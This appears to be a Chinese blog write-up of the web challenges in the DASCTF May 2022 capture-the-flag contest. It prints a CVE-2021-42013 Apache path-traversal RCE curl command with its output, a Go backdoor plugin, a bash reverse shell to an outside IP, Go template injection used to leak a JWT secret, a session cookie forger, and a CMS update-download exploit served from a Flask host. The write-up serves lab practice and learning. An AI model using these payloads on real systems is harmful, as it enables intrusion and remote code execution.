2022DASCTF MAY 出题人挑战赛 web wp

Power Cookie

改cookie

admin:1

魔法浏览器

控制台有UA

加上去访问flag.txt即可

getme

看apache版本是这个CVE-2021-42013

直接用payload的话找到的是假flag

image-20220521134318657

发现也可以rce

curl -v --data "echo;ls /" 'node4.buuoj.cn:25956/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32
%65/bin/sh'
*   Trying 117.21.200.166:25956...
* Connected to node4.buuoj.cn (117.21.200.166) port 25956 (#0)
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
> Host: node4.buuoj.cn:25956
> User-Agent: curl/7.81.0
> Accept: */*
> Content-Length: 9
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 21 May 2022 12:26:03 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
bin
boot
dev
diajgk
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
* Connection #0 to host node4.buuoj.cn left intact

这个目录很特别diajgk,去里面观察一下就有了

/diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg

hackme

Go题做得少,但是看到文件上传大概是上传后门一类的,搜到一篇wp

https://annevi.cn/2020/08/14/wmctf2020-gogogo-writeup/#0x04_SSRF_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96

package main
import (
   "os/exec"
)
func Read(arg string) ([]byte, error) {
   auth := arg[:7]
   cmd := arg[7:]
   if auth == "funnygo" {
       c := exec.Command("bash", "-c", cmd)
       output, err := c.CombinedOutput()
       //恢复
       re := exec.Command("bash", "-c", "cp /tmp/base.so plugins/base.so")
       re.Run()
       if err != nil {
           return nil, err
       } 
       return output, nil
   }
   return nil, nil
}
func Req(arg string) ([]byte, error){
   return nil, nil
}
// 伪造 cookie
package main
import (
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "math/rand"
)
func main() {
    r := gin.Default()
    storage := cookie.NewStore(randomChar(16))
    r.Use(sessions.Sessions("o", storage))
    r.GET("/a",cookieHandler)
    r.Run("0.0.0.0:8002")
}
func cookieHandler(c *gin.Context){
    s := sessions.Default(c)
    s.Set("uname", "admin")
    s.Save()
}
func randomChar(l int) []byte {
    output := make([]byte, l)
    rand.Read(output)
    return output
}

模仿里面的go后门写了一个

package main
import (
   "os/exec"
)
func main(arg string) ([]byte, error) {

      c := exec.Command("bash", "-c", cmd)
       output, err := c.CombinedOutput()
       //恢复
       re := exec.Command("bash", "-c", "bash -i >& /dev/tcp/8.129.42.140/3307 0>&1")
       re.Run()
}

image-20220521141516704

以为可以了,但没想到回显Sorry there doesn't seem to be a exp.go.go file

这说明要传exp这个文件

传上去后好像不出网(也可能是我写错了)

重新构造了一个本地回显的exp1.go

package main

import (
    "fmt"
    "os/exec"
)

func main() {
    c := exec.Command("cat", "/flag")
    ret, err := c.Output()
    if err != nil {
        fmt.Println(err)
    }
    fmt.Println(string(ret))
}

http://36e9592d-d35f-4e48-bc7b-d435f6c5f706.node4.buuoj.cn:81/shortcuts?alias=exp1

image-20220521142318038

fxxkgo

看到源码中有

tpl, err := template.New("").Parse("Logged in as " + acc.id)

template模板渲染函数,没有过滤,可以尝试go ssti

{{.}}

之后访问/auth获取token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.1c8I_PzGiyonSZe3UPM2AB94x07g6DeyJW6uYA2C7eo

访问/ post:id={{.}}&pw=1

获取密钥

fasdf972u1041xu90zm10Av

放入在线网站进行伪造

image-20220521234018456

之后修改token登录获得flag

image-20220521232609444

ezcms

比赛当时时间太短我没做出来,且思路也不对,我跑去官网下载最新版然后打开beyond试图通过比较以获取补丁,再推测漏洞,或许这种做法也可以但目前没有发现

参考DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇 (snowywar.top)

据说烨神开赛一个小时就ak了,膜

访问网站,获取后台admin 用户admin 密码123456,认证码123456,(这个可以审计源码得到,也可以弱口令爆破,也可以参考这篇博客利用bug登录)进入后台,简单测了一下没啥奇怪的东西,接下来看看代码

直接给结论,在\ez\html\sys\apps\controllers\admin\Update.php

有个index方法,提供了下载文件的功能,其中大致逻辑如下

image-20220530112049785

注意到sys_auth这个函数

//字符加密、解密
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
    if(is_array($string)) $string = json_encode($string);
    if($type == 1) $string = str_replace('-','+',$string);
    $ckey_length = 4;
    $key = md5($key ? $key : Mc_Encryption_Key);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $type == 1 ? base64_decode(substr($string, $ckey_length)) :  sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    } 
    if($type == 1) {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            $result = substr($result, 26);
            $json = json_decode($result,1);
            if(!is_numeric($result) && $json){
                return $json;
            }else{
                return $result;
            }
        }
        return '';
    }
    return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}

上面写着字符加密、解密,怀疑是与type0,1有关

结合index()代码,由于sys_auth的return的值直接作为后续请求所用的url,故此处应该为解密

本地尝试了一下(Mc_Encryption_Key跟进一下就可以找到)

测试demo

<?php
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');

$strings = 'http://192.168.28.175/a.zip';

echo($ss = sys_auth($strings));

echo "<br>";

echo(sys_auth($ss,1));

echo "<br>";

function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
    if(is_array($string)) $string = json_encode($string);
    if($type == 1) $string = str_replace('-','+',$string);
    $ckey_length = 4;
    $key = md5($key ? $key : Mc_Encryption_Key);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $type == 1 ? base64_decode(substr($string, $ckey_length)) :  sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    } 
    if($type == 1) {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            $result = substr($result, 26);
            $json = json_decode($result,1);
            if(!is_numeric($result) && $json){
                return $json;
            }else{
                return $result;
            }
        }
        return '';
    }
    return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}

image-20220530112146716

不难得出如下结论

image-20220530111614465

所以我们可以写脚本利用了

压缩一个含phpinfo的php文件的zip

然后用上面测试demo得到我们的url=b468YsTOW7valHVFSttuxXG6A11dpgzNzfFPNjA1-yvDfoP9V8TIcZXsp-d1CsOblwmyob/MUxZfqllsxw

(此url加密结果不唯一)

来到update控制器下的index方法进行传参(参考tp的url模式)

/admin.php/update/index?url=b468YsTOW7valHVFSttuxXG6A11dpgzNzfFPNjA1-yvDfoP9V8TIcZXsp-d1CsOblwmyob/MUxZfqllsxw

然后vps上开启python http服务

image-20220530124156165

是因为这个

if($arr['Content-Type'] !== 'application/zip') $this->msg('压缩包不zip类型文件');

我本地尝试getheader,curl去请求,发现是请求不到的

最后跑的flask脚本(或者你使用nginx也可以,正汰大神亦是如此)

from flask import Flask
from flask import send_from_directory
from flask import Flask,make_response
app = Flask(__name__)

@app.route('/exp.zip', methods=['GET'])
def getLogFile():
    try:
        r=''
        response = make_response(r)
        response.headers['Content-Type'] = 'application/zip'
        #强制改为这个content-type
        send_from_directory('','exp.zip')
        return response
    except Exception as e:
        return str(e)

app.run("0.0.0.0",2333)

本地测试一下通过了,说明应该是没问题了,

等一个有情人自己上传到Vps上去吧

访问

http://2fae786e-60d8-44c4-8a0f-3130c388374b.node4.buuoj.cn:81/exp/exp.php
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇